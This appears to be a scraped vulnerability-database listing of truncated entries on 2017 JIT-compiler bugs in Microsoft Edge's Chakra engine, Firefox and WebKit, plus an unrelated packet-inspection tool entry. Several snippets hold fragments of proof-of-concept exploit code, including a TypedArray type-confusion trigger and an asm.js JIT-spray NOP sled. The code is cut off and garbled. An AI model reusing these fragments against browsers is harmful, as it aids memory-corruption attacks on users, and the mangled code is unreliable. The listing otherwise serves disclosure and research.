Microsoft Edge Security Bypass Vulnerability(CVE-2017-8637)

There is an issue in Chakra JIT server that can be potentially exploited to compromise the JIT process from a compromised browser content process. Bugs like this could potentially be used to bypass ACG Arbitrary Code Guard in Microsoft Edge. The issue has been confirmed on a ChakraCore build from...

Microsoft Edge Scripting Engine Information Disclosure Vulnerability(CVE-2017-8659)

There is an issue in Chakra JIT server that can be potentially exploited to compromise the JIT process from a compromised browser content process. Bugs like this could potentially be used to bypass ACG Arbitrary Code Guard in Microsoft Edge. The issue has been confirmed on a ChakraCore build from...

Microsoft Edge Chakra Incorrect Jit Optimization

Microsoft Edge: Chakra: incorrect jit optimization with TypedArray setter 3 CVE-2017-8601 Coincidentally, Microsoft released the patch for the issue 1290 the day after I reported it. But it seems they fixed it incorrectly again. This time, "funca, b, i;" is replaced with "funca, b, ;". PoC: 'use...

Microsoft Chakra JIT Server IRBuilder::Build Integer Overflow Exploit

The Microsoft Chakra JIT server suffers from an integer overflow in IRBuilder::Build. Microsoft Chakra JIT server integer overflow in IRBuilder::Build CVE-2017-8637 There is an issue in Chakra JIT server that can be potentially exploited to compromise the JIT process from a compromised browser...

Microsoft Chakra JIT Server Out-Of-Bounds Write Exploit

The Microsoft Chakra JIT server suffers from an out-of-bounds write when processing a Js::OpCode::ProfiledLoopStart opcode. Microsoft Chakra JIT server out-of-bounds write when processing Js::OpCode::ProfiledLoopStart opcode CVE-2017-8659 There is an issue in Chakra JIT server that can be...

Microsoft Edge Chakra - Incorrect JIT Optimization with TypedArray Setter #2

a0 = ; return 0; ; a0.toString; main; I just changed "var b = new Uint32Array100;" to "var b = new Uint32Array0;", and it worked well. PoC: -- 'use strict'; function funca, b, c a0 = 1.2; b0 = c; a1 = 2.2; a0 = 2.3023e-320; function main var a = 1.1, 2.2; var b = new Uint32Array0; // 0 // force t...

Microsoft Edge 40.15063.0.0 Chakra - Incorrect JIT Optimization with TypedArray Setter #3

'use strict'; function funca, b, c a0 = 1.2; b0 = c; a1 = 2.2; a0 = 2.3023e-320; function main let a = 1.1, 2.2; let b = new Uint32Array100; for let i = 0; i a0 = ; return 0; ; a0.toString; main; // Tested on Microsoft Edge 40.15063.0.0Insider Preview...

Microsoft Edge Chakra Incorrect Jit Optimization

Microsoft Edge: Chakra: incorrect jit optimization with TypedArray setter 2 CVE-2017-8548 I think the fix for 1045 is incorrect. Here's the original PoC. 'use strict'; function funca, b, c a0 = 1.2; b0 = c; a1 = 2.2; a0 = 2.3023e-320; function main var a = 1.1, 2.2; var b = new Uint32Array100; //...

CVE-2017-8637

Microsoft Edge in Microsoft Windows 10 1703 allows an attacker to bypass Arbitrary Code Guard ACG due to how Microsoft Edge accesses memory in code compiled by the Edge Just-In-Time JIT compiler, aka "Scripting Engine Security Feature Bypass Vulnerability"...

Scripting Engine Security Feature Bypass Vulnerability

A security feature bypass vulnerability exists in Microsoft Edge as a result of how memory is accessed in code compiled by the Edge Just-In-Time JIT compiler that allows Arbitrary Code Guard ACG to be bypassed. By itself, this ACG bypass vulnerability does not allow arbitrary code execution...

CVE-2017-8637: Undefined Security Weakness

Microsoft Edge in Microsoft Windows 10 1703 allows an attacker to bypass Arbitrary Code Guard ACG due to how Microsoft Edge accesses memory in code compiled by the Edge Just-In-Time JIT compiler, aka "Scripting Engine Security Feature Bypass Vulnerability"...

PT-2017-18449

Name of the Vulnerable Software and Affected Versions Microsoft Edge in Microsoft Windows 10 1703 Description A security feature bypass issue exists due to how Microsoft Edge accesses memory in code compiled by the Edge Just-In-Time JIT compiler, allowing Arbitrary Code Guard ACG to be bypassed...

Artificial Inteligent Packet Inspection Engine: AIEngine

AIEngine is a next generation interactive/programmable Python/Ruby/Java packet inspection engine with capabilities of learning without any human intervention, NIDS Network Intrusion Detection System functionality, DNS domain classification, network collector, network forensics and many others...

Firefox 50.0.1 - ASM.JS JIT-Spray Remote Code Execution Exploit

Exploit for windows platform in category remote exploits function asmjsmodule "use asm"; / huge jitted nop sled / function payloadcode var val = 0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val +...

Firefox 50.0.1 ASM.JS JIT-Spray Remote Code Execution

function asmjsmodule "use asm"; / huge jitted nop sled / function payloadcode var val = 0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0...

Firefox 50.0.1 - ASM.JS JIT-Spray Remote Code Execution

Firefox 50.0.1 - ASM.JS JIT-Spray Remote Code Execution function asmjsmodule "use asm"; / huge jitted nop sled / function payloadcode var val = 0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val +...

Firefox 50.0.1 - ASM.JS JIT-Spray Remote Code Execution

function asmjsmodule "use asm"; / huge jitted nop sled / function payloadcode var val = 0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0; val = val + 0xa8909090|0...

Microsoft Chakra Array JIT Optimization Type Confusion Remote Code Execution Vulnerability

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling o...

Microsoft Chakra Typed Array JIT Optimization Use-After-Free Remote Code Execution Vulnerability

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Chakra. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the generation ...

WebKit JSC - JIT Optimization Check Failed in IntegerCheckCombiningPhase::handleBlock Exploit

Exploit for multiple platform in category dos / poc range.mmaxBound range.mmaxBound = data.maddend; range.mmaxOrigin = node-origin.semantic; else if data.maddend origin.semantic; ... The problem is that the check |data.maddend range.mmaxBound| is a signed comparison. PoC: -- function f let arr = ...